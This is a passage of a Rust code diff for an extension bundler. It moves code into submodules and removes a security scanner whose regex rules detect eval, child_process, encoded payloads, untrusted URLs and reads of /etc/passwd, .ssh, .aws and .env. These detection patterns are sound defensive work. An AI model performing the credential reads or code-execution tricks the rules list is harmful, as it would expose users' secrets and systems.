std::fs::write(dir.path().join("b.mjs"), "b").expect("b"); + let err = find_output_mjs(dir.path()) + .await + .expect_err("multiple .mjs"); + assert!(err.contains("multiple .mjs"), "unexpected error: {err}"); + } + + #[tokio::test] + async fn find_output_mjs_returns_the_single_file() { + let dir = tempfile::tempdir().expect("temp"); + let path = dir.path().join("bundle.mjs"); + std::fs::write(&path, "export {}").expect("write"); + let found = find_output_mjs(dir.path()).await.expect("one .mjs"); + assert_eq!(found, path); + } + + /// Integration check against a minimal TS fixture when esbuild is on PATH + /// (or under a nearby node_modules/.bin). Skipped otherwise so CI without + /// Node still passes unit tests. + #[tokio::test] + async fn bundle_simple_blocks_fixture_when_esbuild_available() { + let esbuild = find_esbuild(); + if tokio::process::Command::new(&esbuild) + .arg("--version") + .output() + .await + .map(|o| !o.status.success()) + .unwrap_or(true) + { + // esbuild not installed — unit coverage above still runs. + return; + } + + let root = tempfile::tempdir().expect("temp root"); + let src_dir = root.path().join("src"); + std::fs::create_dir_all(&src_dir).expect("src"); + let entry = src_dir.join("index.ts"); + std::fs::write( + &entry, + r#"export const name = "simple-extension"; +export function handler() { return { success: true }; } +"#, + ) + .expect("entry"); + + let bundle = bundle_extension( + &entry, + ExtensionType::Blocks, + root.path(), + BundleOptions { + name: "simple-extension", + version: Some("1.0.0"), + repo_root: root.path(), + timestamp: Some("20250128143022"), + }, + ) + .await + .expect("bundle"); + let _cleanup = BundleCleanup::new(&bundle); + + assert!( + bundle + .artifact_name + .starts_with("simple-extension-1.0.0-20250128143022-"), + "artifact name: {}", + bundle.artifact_name + ); + assert!(bundle.artifact_name.ends_with(".mjs")); + assert!(bundle.artifact_path.is_file()); + assert!(bundle.size > 0); + assert_eq!(bundle.sha256.len(), 64); + let content = String::from_utf8_lossy(&bundle.bytes); + assert!( + content.contains("simple-extension") || content.contains("success"), + "bundle should retain exported strings: {content}" + ); + } +} diff --git a/rust/src/extension/mod.rs b/rust/src/extension/mod.rs index 4aa393b..e98f665 100644 --- a/rust/src/extension/mod.rs +++ b/rust/src/extension/mod.rs @@ -1,2713 +1,19 @@ -use std::{ - path::{Path, PathBuf}, - sync::OnceLock, +mod bundler; +mod runtime_wrapper; +mod sandbox; +mod security; +mod types; + +pub use bundler::bundle_extension; +pub(crate) use bundler::format_timestamp; +pub(crate) use sandbox::{ + normalize_extension_source_for_config, repo_root_from_cwd, require_extension_source_file, + resolve_extension_paths, }; - -use sha2::Digest as _; - -// --------------------------------------------------------------------------- -// Public types -// --------------------------------------------------------------------------- - -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum ExtensionType { - Embed, - Checkout, - Blocks, -} - -/// Options for [`bundle_extension`]. -pub struct BundleOptions<'a> { - /// Extension handle — used as the artifact package name. - pub name: &'a str, - /// Optional semver; defaults to `"0.0.0"` in the artifact filename. - pub version: Option<&'a str>, - /// Repo root (for temp-dir naming and root `tsconfig.json` fallback). - pub repo_root: &'a Path, - /// UTC timestamp override (`yyyymmddHHMMss`); defaults to now. - pub timestamp: Option<&'a str>, -} - -/// Result of a successful bundle. Artifacts remain on disk under [`Self::temp_dir`] -/// until [`BundleCleanup`] removes them. -pub struct BundleResult { - pub bytes: Vec, - pub sha256: String, - pub artifact_name: String, - pub artifact_path: PathBuf, - pub size: u64, - pub sourcemap_path: Option, - /// Root temp directory created for this bundle; pass to cleanup. - pub temp_dir: PathBuf, -} - -/// Best-effort RAII cleanup of a bundle temp directory. -/// -/// Construct with [`Self::for_dir`] as soon as the temp dir exists (so early -/// failures still clean up), then [`Self::disarm`] before returning a successful -/// [`BundleResult`] so the caller can own cleanup via [`Self::new`]. -pub struct BundleCleanup { - temp_dir: Option, -} - -impl BundleCleanup { - pub fn new(bundle: &BundleResult) -> Self { - Self::for_dir(bundle.temp_dir.clone()) - } - - pub fn for_dir(temp_dir: PathBuf) -> Self { - Self { - temp_dir: Some(temp_dir), - } - } - - /// Leave the directory in place (caller takes ownership of cleanup). - pub fn disarm(mut self) { - self.temp_dir = None; - } -} - -impl Drop for BundleCleanup { - fn drop(&mut self) { - if let Some(dir) = self.temp_dir.take() { - let _ = std::fs::remove_dir_all(dir); - } - } -} - -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum Severity { - Block, - Warn, -} - -#[derive(Debug)] -pub struct Finding { - pub rule_id: &'static str, - pub severity: Severity, - pub message: &'static str, - pub file: String, - pub line: usize, - pub snippet: String, -} - -// --------------------------------------------------------------------------- -// Bundle security rules (SEC101–SEC110) -// Ported from src/core/security/rules/bundle/ in the TypeScript CLI. -// --------------------------------------------------------------------------- - -struct RuleDef { - id: &'static str, - severity: Severity, - description: &'static str, - /// Main detection patterns. - patterns: &'static [&'static str], - /// Two-pass signal patterns: if non-empty and none match, skip this rule. - signal_patterns: &'static [&'static str], -} - -struct CompiledRule { - id: &'static str, - severity: Severity, - description: &'static str, - patterns: Vec, - signal_patterns: Vec, -} - -static RULE_DEFS: &[RuleDef] = &[ - // SEC101 — eval / Function constructor - RuleDef { - id: "SEC101", - severity: Severity::Block, - description: "Bundled code contains eval() or Function constructor which can execute arbitrary code", - signal_patterns: &[], - patterns: &[ - r#"(?m)(?:^|[^\w$])eval\s*\("#, - r#"(?m)(?:^|[^\w$])new\s+Function\s*\("#, - r#"(?:globalThis|window|self)\.eval\s*\("#, - r#"(?:globalThis|window|self)\[['"]eval['"]\]\s*\("#, - r#"\[['"]eval['"]\]\s*\("#, - r#"\[['"]Function['"]\]\s*\("#, - r#"(?:eval|Function|setTimeout|setInterval)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\))"#, - r#"eval\s*\(\s*['"\x60](?:\\x[0-9A-Fa-f]{2}){8,}['"\x60]\s*\)"#, - ], - }, - // SEC102 — child_process (two-pass) - RuleDef { - id: "SEC102", - severity: Severity::Block, - description: "Bundled code imports and uses child_process module which can execute shell commands", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, - r#"from\s*['"](?:node:)?child_process['"]"#, - r#"import\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, - r#"require_child_process\s*\("#, - r#"__require\s*\(\s*['"]child_process['"]\s*\)"#, - r#"\b[a-z]\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, - r#"require\s*\(\s*['"](?:node:)?child['"]\s*\+\s*['"]_?process['"]\s*\)"#, - r#"(?:require|import)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\)\.toString\(\))"#, - ], - patterns: &[ - r#"\bexec\s*\("#, - r#"\bexecSync\s*\("#, - r#"\bexecFile\s*\("#, - r#"\bexecFileSync\s*\("#, - r#"\bspawn\s*\("#, - r#"\bspawnSync\s*\("#, - r#"\bfork\s*\("#, - ], - }, - // SEC103 — vm module (two-pass) - RuleDef { - id: "SEC103", - severity: Severity::Block, - description: "Bundled code imports and uses vm module which enables arbitrary code execution", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, - r#"from\s*['"](?:node:)?vm['"]"#, - r#"import\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, - r#"require_vm\s*\("#, - r#"__require\s*\(\s*['"]vm['"]\s*\)"#, - ], - patterns: &[ - r#"\bScript\s*\("#, - r#"\.runInNewContext\s*\("#, - r#"\.runInContext\s*\("#, - r#"\.runInThisContext\s*\("#, - r#"\.createContext\s*\("#, - ], - }, - // SEC104 — process.binding / dlopen - RuleDef { - id: "SEC104", - severity: Severity::Block, - description: "Bundled code accesses Node.js internal bindings which can bypass security", - signal_patterns: &[], - patterns: &[ - r#"process\.binding\s*\("#, - r#"process\._linkedBinding\s*\("#, - r#"process\.dlopen\s*\("#, - r#"internalBinding\s*\("#, - r#"process\[['"]binding['"]\]\s*\("#, - r#"process\[['"]_linkedBinding['"]\]\s*\("#, - r#"process\[['"]dlopen['"]\]\s*\("#, - ], - }, - // SEC105 — native addons (two-pass) - RuleDef { - id: "SEC105", - severity: Severity::Block, - description: "Bundled code loads native addons which can bypass Node.js security", - signal_patterns: &[ - r#"require\s*\(\s*['"]bindings['"]\s*\)"#, - r#"require\s*\(\s*['"]node-gyp['"]\s*\)"#, - r#"require\s*\(\s*['"]ffi-napi['"]\s*\)"#, - r#"require\s*\(\s*['"]node-addon-api['"]\s*\)"#, - r#"from\s*['"]bindings['"]"#, - r#"from\s*['"]ffi-napi['"]"#, - r#"require_bindings\s*\("#, - ], - patterns: &[ - r#"['"]\.node['"]"#, - r#"\.node['"]\s*\)"#, - r#"process\.dlopen\s*\("#, - ], - }, - // SEC106 — module monkey-patching (two-pass) - RuleDef { - id: "SEC106", - severity: Severity::Block, - description: "Bundled code modifies module system internals which can hijack dependencies", - signal_patterns: &[ - r#"require\s*\(\s*['"]module['"]\s*\)"#, - r#"from\s*['"]module['"]"#, - r#"require_module\s*\("#, - ], - patterns: &[ - r#"Module\._load\s*="#, - r#"Module\._resolveFilename\s*="#, - r#"Module\._extensions\["#, - r#"require\.cache\s*\["#, - r#"delete\s+require\.cache"#, - r#"Module\[['"]_load['"]\]\s*="#, - r#"Module\[['"]_resolveFilename['"]\]\s*="#, - ], - }, - // SEC107 — inspector module (two-pass) - RuleDef { - id: "SEC107", - severity: Severity::Block, - description: "Bundled code uses inspector module which can enable remote debugging access", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, - r#"from\s*['"](?:node:)?inspector['"]"#, - r#"import\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, - r#"require_inspector\s*\("#, - ], - patterns: &[ - r#"inspector\.open\s*\("#, - r#"inspector\.url\s*\("#, - r#"inspector\.waitForDebugger\s*\("#, - r#"inspector\[['"]open['"]\]\s*\("#, - ], - }, - // SEC108 — external URLs (two-pass, warn) - RuleDef { - id: "SEC108", - severity: Severity::Warn, - description: "Bundled code contains HTTP(S) URLs to external domains", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?https?['"]\s*\)"#, - r#"from\s*['"](?:node:)?https?['"]"#, - r#"require\s*\(\s*['"]axios['"]\s*\)"#, - r#"from\s*['"]axios['"]"#, - ], - patterns: &[ - r#"https?://[^\s"'\x60<>]+"#, - r#"new\s+URL\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, - r#"fetch\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, - ], - }, - // SEC109 — large encoded blobs (warn) - RuleDef { - id: "SEC109", - severity: Severity::Warn, - description: "Bundled code contains large base64/hex encoded data that could hide malicious payloads", - signal_patterns: &[], - patterns: &[ - r#"Buffer\.from\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*,\s*['"]base64['"]\s*\)"#, - r#"atob\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*\)"#, - r#"Buffer\.from\s*\(\s*['"][A-Fa-f0-9]{400,}['"]\s*,\s*['"]hex['"]\s*\)"#, - ], - }, - // SEC110 — sensitive fs/net/env ops (two-pass, warn) - RuleDef { - id: "SEC110", - severity: Severity::Warn, - description: "Bundled code accesses sensitive paths, environment variables, or network APIs", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?net['"]\s*\)"#, - r#"from\s*['"](?:node:)?net['"]"#, - r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, - r#"from\s*['"](?:node:)?fs['"]"#, - ], - patterns: &[ - r#"net\.connect\s*\("#, - r#"net\.createConnection\s*\("#, - r#"process\.env\["#, - r#"process\.env\."#, - r#"['"]/(etc/passwd|etc/shadow|\.ssh/|\.aws/)"#, - r#"['"]~/\.ssh/"#, - r#"fs\.readFile(?:Sync)?\s*\(\s*['"][^'"]*\.env['"]"#, - ], - }, - // SEC111 — destructive fs operations (two-pass, block) - RuleDef { - id: "SEC111", - severity: Severity::Block, - description: "Bundled code performs destructive filesystem operations (unlink/rm/rmdir)", - signal_patterns: &[ - r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, - r#"from\s*['"](?:node:)?fs['"]"#, - r#"require\s*\(\s*['"](?:node:)?fs/promises['"]\s*\)"#, - r#"from\s*['"](?:node:)?fs/promises['"]"#, - r#"require_fs\s*\("#, - ], - patterns: &[ - r#"\bunlink\s*\("#, - r#"\bunlinkSync\s*\("#, - r#"\brmdir\s*\("#, - r#"\brmdirSync\s*\("#, - r#"\brm\s*\("#, - r#"\brmSync\s*\("#, - ], - }, - // SEC112 — requests to untrusted domains (no signal, block) - RuleDef { - id: "SEC112", - severity: Severity::Block, - description: "Bundled code makes requests to domains outside the GoDaddy trusted allowlist", - signal_patterns: &[], - patterns: &[ - r#"https?://(?!(?:(?:[a-zA-Z0-9-]+\.)*godaddy\.com|localhost|127\.0\.0\.1)(?:[:/?#\s]|$))[^\s"'\x60<>]+"#, - ], - }, - // SEC113 — any encoded payload (no signal, block) - RuleDef { - id: "SEC113", - severity: Severity::Block, - description: "Bundled code uses base64/hex encoding that could conceal malicious payloads", - signal_patterns: &[], - patterns: &[ - r#"\batob\s*\("#, - r#"Buffer\.from\s*\(\s*['"][^'"]+['"]\s*,\s*['"](?:base64|hex)['"]"#, - ], - }, - // SEC114 — debugger statement (no signal, block) - RuleDef { - id: "SEC114", - severity: Severity::Block, - description: "Bundled code contains a debugger statement which enables remote debugging access", - signal_patterns: &[], - patterns: &[r#"\bdebugger\b"#], - }, - // SEC115 — dynamic require/import (no signal, block) - RuleDef { - id: "SEC115", - severity: Severity::Block, - description: "Bundled code uses dynamic require() or import() with non-literal arguments", - signal_patterns: &[], - patterns: &[ - r#"\brequire\s*\(\s*(?!['"\x60])"#, - r#"\bimport\s*\(\s*(?!['"\x60])"#, - ], - }, -]; - -static COMPILED: OnceLock> = OnceLock::new(); - -fn compiled_rules() -> &'static [CompiledRule] { - COMPILED.get_or_init(|| { - RULE_DEFS - .iter() - .map(|def| CompiledRule { - id: def.id, - severity: def.severity, - description: def.description, - patterns: def - .patterns - .iter() - .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle rule pattern")) - .collect(), - signal_patterns: def - .signal_patterns - .iter() - .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle signal pattern")) - .collect(), - }) - .collect() - }) -} - -// --------------------------------------------------------------------------- -// Scanner helpers -// --------------------------------------------------------------------------- - -fn line_number(content: &str, byte_offset: usize) -> usize { - content[..byte_offset] - .bytes() - .filter(|&b| b == b'\n') - .count() - + 1 -} - -fn extract_snippet(content: &str, byte_offset: usize) -> String { - let line_start = content[..byte_offset].rfind('\n').map_or(0, |i| i + 1); - let line_end = content[byte_offset..] - .find('\n') - .map_or(content.len(), |i| byte_offset + i); - let line = &content[line_start..line_end]; - let pos = byte_offset - line_start; - let ctx = 25_usize; - let start = pos.saturating_sub(ctx); - let end = (pos + ctx).min(line.len()); - line[start..end].trim().to_owned() -} - -// --------------------------------------------------------------------------- -// Public scanner API -// --------------------------------------------------------------------------- - -pub fn scan_bundle(content: &str, file_path: &str) -> Vec { - let mut findings = Vec::new(); - - for rule in compiled_rules() { - if !rule.signal_patterns.is_empty() { - let signal_found = rule - .signal_patterns - .iter() - .any(|re| re.is_match(content).unwrap_or(false)); - if !signal_found { - continue; - } - for re in rule.signal_patterns.iter().chain(rule.patterns.iter()) { - for m in re.find_iter(content).filter_map(|m| m.ok()) { - findings.push(Finding { - rule_id: rule.id, - severity: rule.severity, - message: rule.description, - file: file_path.to_owned(), - line: line_number(content, m.start()), - snippet: extract_snippet(content, m.start()), - }); - } - } - } else { - for re in &rule.patterns { - for m in re.find_iter(content).filter_map(|m| m.ok()) { - findings.push(Finding { - rule_id: rule.id, - severity: rule.severity, - message: rule.description, - file: file_path.to_owned(), - line: line_number(content, m.start()), - snippet: extract_snippet(content, m.start()), - }); - } - } - } - } - - findings.sort_by_key(|f| f.line); - findings -} - -pub fn is_blocked(findings: &[Finding]) -> bool { - findings.iter().any(|f| f.severity == Severity::Block) -} - -// --------------------------------------------------------------------------- -// Bundler -// --------------------------------------------------------------------------- - -fn find_esbuild() -> PathBuf { - if let Ok(cwd) = std::env::current_dir() { - let mut dir = cwd.as_path(); - loop { - let candidate = dir.join("node_modules/.bin/esbuild"); - if candidate.exists() { - return candidate; - } - match dir.parent() { - Some(p) => dir = p, - None => break, - } - } - } - PathBuf::from("esbuild") -} - -/// Prefer `extensionDir/tsconfig.json`, else `repoRoot/tsconfig.json`. -fn resolve_tsconfig(extension_dir: &Path, repo_root: &Path) -> Option { - let local = extension_dir.join("tsconfig.json"); - if local.is_file() { - return Some(local); - } - let root = repo_root.join("tsconfig.json"); - if root.is_file() { - return Some(root); - } - None -} - -/// Lexically normalize `.` / `..` without requiring the path to exist on disk. -fn normalize_path(path: &Path) -> PathBuf { - use std::path::Component; - let mut out = PathBuf::new(); - for component in path.components() { - match component { - Component::Prefix(p) => out.push(p.as_os_str()), - Component::RootDir => out.push(component.as_os_str()), - Component::CurDir => {} - Component::ParentDir => { - out.pop(); - } - Component::Normal(c) => out.push(c), - } - } - out -} - -pub(crate) fn repo_root_from_cwd() -> PathBuf { - std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")) -} - -fn invalid_handle_path(handle: &str) -> String { - format!( - "Invalid extension handle path: {handle}. \ - Extension directories must stay within ./extensions." - ) -} - -fn invalid_source_path(extension_name: &str, source: &str) -> String { - format!( - "Invalid extension source path for '{extension_name}': {source}. \ - Source files must stay within the extension directory." - ) -} - -/// True when `candidate` is `base` or a descendant. -/// -/// Comparison is ASCII case-insensitive so manifests that mix handle casing -/// with a repo-relative `extensions/{handle}/…` source still resolve on -/// case-insensitive volumes (default macOS / Windows). -fn is_path_within(base: &Path, candidate: &Path) -> bool { - strip_prefix_ignore_ascii_case(candidate, base).is_some() -} - -/// Like [`Path::strip_prefix`], but component matching ignores ASCII case. -fn strip_prefix_ignore_ascii_case(path: &Path, prefix: &Path) -> Option { - let path = normalize_path(path); - let prefix = normalize_path(prefix); - let path_comps: Vec<_> = path.components().collect(); - let prefix_comps: Vec<_> = prefix.components().collect(); - if path_comps.len() < prefix_comps.len() { - return None; - } - for (p, pre) in path_comps.iter().zip(prefix_comps.iter()) { - if !components_eq_ignore_ascii_case(p, pre) { - return None; - } - } - let mut out = PathBuf::new(); - for component in &path_comps[prefix_comps.len()..] { - out.push(component.as_os_str()); - } - Some(out) -} - -fn components_eq_ignore_ascii_case( - a: &std::path::Component<'_>, - b: &std::path::Component<'_>, -) -> bool { - use std::path::Component; - match (a, b) { - (Component::Normal(a), Component::Normal(b)) => a.eq_ignore_ascii_case(b), - _ => a == b, - } -} - -/// Walk `candidate` under `root`, matching each path segment against an existing -/// directory while ignoring ASCII case. Used so a handle like `Foo/Bar` still -/// finds `extensions/foo/bar` on case-sensitive volumes. -/// -/// Falls back to `candidate` when any segment is missing (lexical path kept for -/// later "not found" errors). -fn dir_casing_on_disk(root: &Path, candidate: &Path) -> PathBuf { - let Some(rel) = strip_prefix_ignore_ascii_case(candidate, root) else { - return candidate.to_path_buf(); - }; - if rel.as_os_str().is_empty() { - return root.to_path_buf(); - } - if candidate.is_dir() { - return candidate.to_path_buf(); - } - - use std::path::Component; - let mut current = root.to_path_buf(); - for component in rel.components() { - let Component::Normal(name) = component else { - current.push(component.as_os_str()); - continue; - }; - let exact = current.join(name); - if exact.is_dir() { - current = exact; - continue; - } - let Ok(entries) = std::fs::read_dir(¤t) else { - return candidate.to_path_buf(); - }; - let matched = entries.flatten().find_map(|entry| { - (entry.file_name().eq_ignore_ascii_case(name) && entry.path().is_dir()) - .then(|| entry.path()) - }); - match matched { - Some(path) => current = path, - None => return candidate.to_path_buf(), - } - } - normalize_path(¤t) -} - -/// When `path` exists, follow symlinks and ensure the real path stays under -/// `base`. Post-canonicalize containment is case-sensitive. -fn enforce_sandbox_realpath( - base: &Path, - path: &Path, - outside_message: impl FnOnce() -> String, -) -> Result<(), String> { - if !path.exists() { - return Ok(()); - } - let canon_base = std::fs::canonicalize(base) - .map_err(|e| format!("failed to resolve path '{}': {e}", base.display()))?; - let canon_path = std::fs::canonicalize(path) - .map_err(|e| format!("failed to resolve path '{}': {e}", path.display()))?; - if canon_path.strip_prefix(&canon_base).is_err() { - return Err(outside_message()); - } - Ok(()) -} - -/// Resolve and sandbox extension paths: -/// - `extensionDir` = `repoRoot/extensions/{handle}` (must stay under `extensions/`) -/// - `sourcePath` must stay under that directory -/// -/// Also accepts a repo-relative `source` that already points inside the extension -/// dir (older Rust manifests that stored `extensions/{handle}/src/...`). -/// -/// When paths exist on disk, containment is re-checked after canonicalization so -/// symlinks cannot escape the sandbox. -pub(crate) fn resolve_extension_paths( - repo_root: &Path, - handle: &str, - source: &str, - extension_name: &str, -) -> Result<(PathBuf, PathBuf), String> { - let repo_root = if repo_root.is_absolute() { - normalize_path(repo_root) - } else { - normalize_path(&repo_root_from_cwd().join(repo_root)) - }; - let extensions_root = normalize_path(&repo_root.join("extensions")); - let extension_dir = normalize_path(&extensions_root.join(handle)); - if !is_path_within(&extensions_root, &extension_dir) { - return Err(invalid_handle_path(handle)); - } - let extension_dir = dir_casing_on_disk(&extensions_root, &extension_dir); - - let source_path = { - let source_path = Path::new(source); - if source_path.is_absolute() { - normalize_path(source_path) - } else { - let from_repo = normalize_path(&repo_root.join(source)); - match strip_prefix_ignore_ascii_case(&from_repo, &extension_dir) { - Some(rel) => normalize_path(&extension_dir.join(rel)), - None => normalize_path(&extension_dir.join(source)), - } - } - }; - if !is_path_within(&extension_dir, &source_path) { - return Err(invalid_source_path(extension_name, source)); - } - - enforce_sandbox_realpath(&extensions_root, &extension_dir, || { - invalid_handle_path(handle) - })?; - enforce_sandbox_realpath(&extension_dir, &source_path, || { - invalid_source_path(extension_name, source) - })?; - - Ok((extension_dir, source_path)) -} - -/// Ensure the resolved source path exists as a file. -pub(crate) fn require_extension_source_file( - handle: &str, - extension_name: &str, - source_path: &Path, -) -> Result<(), String> { - if source_path.is_file() { - return Ok(()); - } - Err(format!( - "Extension source file not found for '{extension_name}': {}. \ - Expected a file under extensions/{handle}/ (e.g. src/index.ts).", - source_path.display() - )) -} - -/// Validate handle/source against the deploy sandbox and return the source path -/// relative to `extensions/{handle}/` for writing into `godaddy.toml`. -/// -/// Accepts either a handle-relative path (`src/index.ts`) or a repo-relative path -/// already under the extension dir (`extensions/{handle}/src/index.ts`). Requires -/// the resolved file to exist so `platform app add` fails before deploy. -pub(crate) fn normalize_extension_source_for_config( - repo_root: &Path, - handle: &str, - source: &str, - extension_name: &str, -) -> Result { - let (extension_dir, source_path) = - resolve_extension_paths(repo_root, handle, source, extension_name)?; - require_extension_source_file(handle, extension_name, &source_path)?; - let relative = strip_prefix_ignore_ascii_case(&source_path, &extension_dir) - .ok_or_else(|| invalid_source_path(extension_name, source))?; - Ok(relative.to_string_lossy().replace('\\', "/")) -} - -/// Absolute path suitable for embedding in the UI runtime wrapper import. -/// Relative sources must not be resolved against the temp wrapper location. -async fn absolute_entry_path(source_path: &Path) -> PathBuf { - if source_path.is_absolute() { - return tokio::fs::canonicalize(source_path) - .await - .unwrap_or_else(|_| source_path.to_path_buf()); - } - let joined = repo_root_from_cwd().join(source_path); - tokio::fs::canonicalize(&joined).await.unwrap_or(joined) -} - -/// True for embed/checkout — they need the UI runtime registration wrapper. -fn should_use_ui_extension_runtime_wrapper(ext_type: ExtensionType) -> bool { - matches!(ext_type, ExtensionType::Embed | ExtensionType::Checkout) -} - -/// Synthetic entry that imports the user module and registers it with -/// `globalThis.GoDaddyUiExtensions`. -/// -/// `entry_path` must be absolute so esbuild resolves it from the temp wrapper -/// file location. -fn create_ui_extension_runtime_wrapper(entry_path: &Path) -> String { - let entry = entry_path.to_string_lossy(); - format!( - r#"import * as userModule from {entry:?}; - -function resolveContract() {{ - if (typeof userModule.mount === "function") {{ - return userModule; - }} - - const defaultExport = userModule.default; - const candidate = typeof defaultExport === "function" - ? defaultExport() - : defaultExport; - - if (!candidate || typeof candidate.mount !== "function") {{ - throw new Error("UI extension must export mount or a default contract/factory."); - }} - - return candidate; -}} - -const contract = resolveContract(); -const registry = globalThis.GoDaddyUiExtensions; - -if (!registry || typeof registry.register !== "function") {{ - throw new Error("UI extension runtime registry is not available."); -}} - -registry.register(contract); -"# - ) -} - -/// Sanitize an extension handle/name for use in filenames. -/// -/// Dots are rewritten so handles like `.` / `..` cannot make `Path::join` -/// resolve to the temp root or its parent. -fn sanitize_extension_name(name: &str) -> String { - let sanitized: String = name - .chars() - .map(|c| match c { - '/' | '\\' | ':' | '*' | '?' | '"' | '<' | '>' | '|' | '@' | '!' | '.' => '-', - c if c.is_whitespace() => '-', - c => c, - }) - .collect(); - let cleaned = sanitized - .to_ascii_lowercase() - .trim_matches(|c: char| c == '-' || c.is_whitespace()) - .chars() - .take(100) - .collect::(); - if cleaned.is_empty() { - "extension".to_owned() - } else { - cleaned - } -} - -/// UTC timestamp `yyyymmddHHMMss`. -pub(crate) fn format_timestamp(now: chrono::DateTime) -> String { - now.format("%Y%m%d%H%M%S").to_string() -} - -fn short_hash(full_hash: &str) -> &str { - full_hash.get(..6).unwrap_or(full_hash) -} - -/// `{sanitized}-{version}-{timestamp}-{hash}.mjs` -fn build_artifact_name(name: &str, version: Option<&str>, timestamp: &str, hash: &str) -> String { - format!( - "{}-{}-{}-{}.mjs", - sanitize_extension_name(name), - version.unwrap_or("0.0.0"), - timestamp, - hash - ) -} - -fn create_temp_directory(repo_root: &Path, timestamp: &str) -> PathBuf { - let repo_name = repo_root - .file_name() - .and_then(|s| s.to_str()) - .unwrap_or("repo"); - // Include PID so two deploys in the same second don't share a temp tree. - let pid = std::process::id(); - std::env::temp_dir() - .join("gd-cli") - .join(repo_name) - .join(format!("deploy-{timestamp}-{pid}")) -} - -pub async fn bundle_extension( - source_path: &Path, - ext_type: ExtensionType, - ext_dir: &Path, - options: BundleOptions<'_>, -) -> Result { - let esbuild = find_esbuild(); - let timestamp = options - .timestamp - .map(str::to_owned) - .unwrap_or_else(|| format_timestamp(chrono::Utc::now())); - - let temp_root = create_temp_directory(options.repo_root, ×tamp); - // Clean the temp tree on any early return; disarmed only on success. - let cleanup = BundleCleanup::for_dir(temp_root.clone()); - let extension_temp_dir = temp_root.join(sanitize_extension_name(options.name)); - tokio::fs::create_dir_all(&extension_temp_dir) - .await - .map_err(|e| format!("failed to create temp dir: {e}"))?; - - let mut build_entry = source_path.to_owned(); - if should_use_ui_extension_runtime_wrapper(ext_type) { - let abs_source = absolute_entry_path(source_path).await; - let wrapper_path = extension_temp_dir.join("ui-extension-runtime-entry.ts"); - let wrapper = create_ui_extension_runtime_wrapper(&abs_source); - tokio::fs::write(&wrapper_path, wrapper) - .await - .map_err(|e| format!("failed to write UI runtime wrapper: {e}"))?; - build_entry = wrapper_path; - } - - let out_dir = extension_temp_dir.join("out"); - tokio::fs::create_dir_all(&out_dir) - .await - .map_err(|e| format!("failed to create out dir: {e}"))?; - - let mut args: Vec = vec![ - build_entry.to_string_lossy().into_owned(), - "--bundle".to_owned(), - "--minify".to_owned(), - "--sourcemap=external".to_owned(), - format!("--outdir={}", out_dir.display()), - "--out-extension:.js=.mjs".to_owned(), - "--log-level=silent".to_owned(), - "--external:node:*".to_owned(), - "--external:@wsblocks/*".to_owned(), - ]; - - if let Some(tsconfig) = resolve_tsconfig(ext_dir, options.repo_root) { - args.push(format!("--tsconfig={}", tsconfig.display())); - } - - match ext_type { - ExtensionType::Blocks => { - args.push("--platform=node".to_owned()); - args.push("--format=esm".to_owned()); - args.push("--target=node22".to_owned()); - args.push("--external:react".to_owned()); - args.push("--external:react/*".to_owned()); - args.push("--external:react-dom".to_owned()); - args.push("--external:react-dom/*".to_owned()); - } - ExtensionType::Embed | ExtensionType::Checkout => { - args.push("--platform=browser".to_owned()); - args.push("--format=iife".to_owned()); - args.push("--target=es2020".to_owned()); - args.push("--alias:react=preact/compat".to_owned()); - args.push("--alias:react-dom=preact/compat".to_owned()); - args.push("--alias:react/jsx-runtime=preact/jsx-runtime".to_owned()); - } - } - - let ext_node_modules = ext_dir.join("node_modules"); - if ext_node_modules.exists() { - args.push(format!("--node-paths={}", ext_node_modules.display())); - } - - let output = tokio::process::Command::new(&esbuild) - .args(&args) - .output() - .await - .map_err(|e| format!("failed to run esbuild ({}): {e}", esbuild.display()))?; - - if !output.status.success() { - let stderr = String::from_utf8_lossy(&output.stderr).into_owned(); - return Err(format!("esbuild failed: {stderr}")); - } - - let mjs_path = find_output_mjs(&out_dir).await?; - let map_path = { - let candidate = PathBuf::from(format!("{}.map", mjs_path.display())); - candidate.is_file().then_some(candidate) - }; - - let raw_bytes = tokio::fs::read(&mjs_path) - .await - .map_err(|e| format!("failed to read bundle output: {e}"))?; - - // Strip sourcemap comment before hashing; size/bytes include the - // re-appended `sourceMappingURL` footer (matches TS behavior). - let content = String::from_utf8_lossy(&raw_bytes); - let stripped = strip_sourcemap_comment(&content); - let sha256 = sha256_hex(stripped.as_bytes()); - let hash = short_hash(&sha256).to_owned(); - let artifact_name = build_artifact_name(options.name, options.version, ×tamp, &hash); - - let mut bundle_content = stripped; - let mut sourcemap_path = None; - if let Some(map_src) = map_path { - let map_name = format!("{artifact_name}.map"); - bundle_content.push_str(&format!("\n//# sourceMappingURL={map_name}\n")); - let map_dest = extension_temp_dir.join(&map_name); - tokio::fs::copy(&map_src, &map_dest) - .await - .map_err(|e| format!("failed to write sourcemap: {e}"))?; - sourcemap_path = Some(map_dest); - } - - let artifact_path = extension_temp_dir.join(&artifact_name); - tokio::fs::write(&artifact_path, bundle_content.as_bytes()) - .await - .map_err(|e| format!("failed to write artifact: {e}"))?; - - let size = bundle_content.len() as u64; - cleanup.disarm(); - Ok(BundleResult { - bytes: 